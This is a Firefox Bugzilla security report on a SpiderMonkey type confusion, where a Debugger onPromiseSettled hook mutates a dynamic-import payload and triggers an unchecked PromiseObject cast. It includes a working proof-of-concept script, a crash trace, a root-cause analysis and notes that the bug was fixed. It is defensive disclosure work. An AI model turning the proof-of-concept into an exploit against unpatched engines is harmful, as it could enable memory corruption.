Assertion failure: this->is<T>() in FinishLoadingImportedModuleFailed via Debugger
Categories
(Core :: JavaScript Engine, defect, P2)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox-esr153 | --- | wontfix |
| firefox152 | --- | wontfix |
| firefox153 | --- | wontfix |
| firefox154 | --- | fixed |
People
(Reporter: decoder, Assigned: bthrall)
References
(Blocks 1 open bug)
Details
(5 keywords, Whiteboard: [adv-main154+r][fixed by 2044167])
Attachments
(1 file)
|
506 bytes,
application/javascript
|
Details |
Summary
JS::FinishLoadingImportedModuleFailed in js/src/vm/Modules.cpp:198 performs an unchecked payload->as<PromiseObject>() cast on the dynamic-import continuation payload. The Debugger onPromiseSettled hook can observe and mutate the internal delay-promise that carries this payload before DynamicImportDelayFulfilled runs, replacing the payload property with an arbitrary object. This causes a type confusion (debug assertion / opt-build unchecked cast).
Root Cause
ModuleLoader::dynamicImport stores the continuation state (referrer, moduleRequest, payload) in a plain JS object and resolves an internal delay promise with it. For a debuggee realm, Debugger.onPromiseSettled fires on that internal promise before DynamicImportDelayFulfilled consumes it. The testcase replaces the payload property with a plain Object.
When the delayed import resumes, doDynamicImport reads the mutated payload. The empty module specifier causes resolve to fail, so JS::FinishLoadingImportedModuleFailedWithPendingException is called with the attacker-controlled object. In FinishLoadingImportedModuleFailed (Modules.cpp:184-199), the code checks for GraphLoadingStateRecordObject but otherwise unconditionally casts to PromiseObject:
Rooted<PromiseObject*> promise(cx, &payload->as<PromiseObject>()); // line 198
return PromiseObject::reject(cx, promise, error);
There is no validation that the payload is actually a PromiseObject. In debug builds this triggers the this->is<T>() assertion; in optimized builds the unchecked cast compiles through as a type confusion.
Reproduction
Tested on mozilla-central build 20260521-b754e06486cf (ASan debug, Linux x86-64).
$ m-c-asan-debug/dist/bin/js --fuzzing-safe poc.js
poc.js:
ignoreUnhandledRejections();
var g = newGlobal({newCompartment: true});
g.eval("var evil = {};");
var dbg = new Debugger(g);
var gw = dbg.addDebuggee(g);
dbg.onPromiseSettled = function(promise) {
if (promise.promiseState !== "fulfilled") {
return;
}
var value = promise.promiseValue;
if (value && value.class === "Object" &&
value.getOwnPropertyDescriptor("payload")) {
value.setProperty("payload", gw.getProperty("evil").return);
}
};
g.eval('import("");');
drainJobQueue();
Note: --fuzzing-safe is not required to trigger the bug; the Debugger API and drainJobQueue() are standard shell builtins.
Crash Signature
Assertion failure: this->is<T>(), at js/src/vm/JSObject.h:521
#0 MOZ_CrashSequence
#1 JSObject::as<js::PromiseObject>()
#2 JS::FinishLoadingImportedModuleFailed (js/src/vm/Modules.cpp:198)
#3 JS::FinishLoadingImportedModuleFailedWithPendingException (js/src/vm/Modules.cpp:219)
#4 js::shell::ModuleLoader::doDynamicImport (js/src/shell/ModuleLoader.cpp:444)
#5 js::shell::ModuleLoader::DynamicImportDelayFulfilled (js/src/shell/ModuleLoader.cpp:411)
The opt ASan shell exits 0 with no output — the type confusion is silent in release builds.
Suggested Fix
Add a type check before the cast at Modules.cpp:198. If the payload is not a PromiseObject, either assert unreachable (if the invariant should hold) or reject with an appropriate error. Additionally, consider whether internal module-loader continuation promises should be hidden from Debugger.onPromiseSettled to prevent mutation of engine-internal state.
Security Impact
In the browser, this requires the Debugger API (chrome-privileged code only). In the JS shell, Debugger is always available. The type confusion in opt builds could potentially be leveraged for memory corruption if an attacker controls a chrome-privileged context (e.g., a malicious extension with debugger permissions).
| Reporter | ||
Comment 1•5 months ago
|
||
Updated•5 months ago
|
Comment 2•5 months ago
|
||
Bug 2044167 would remove onPromiseSettled
Comment 3•4 months ago
|
||
(In reply to Matthew Gaudet (he/him) [:mgaudet] from comment #2)
Let's do that.
Comment 4•4 months ago
|
||
Fixed by removal of onPromiseSettled API in bug 2044167.
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•2 months ago
|
Updated•16 days ago
|
Description
•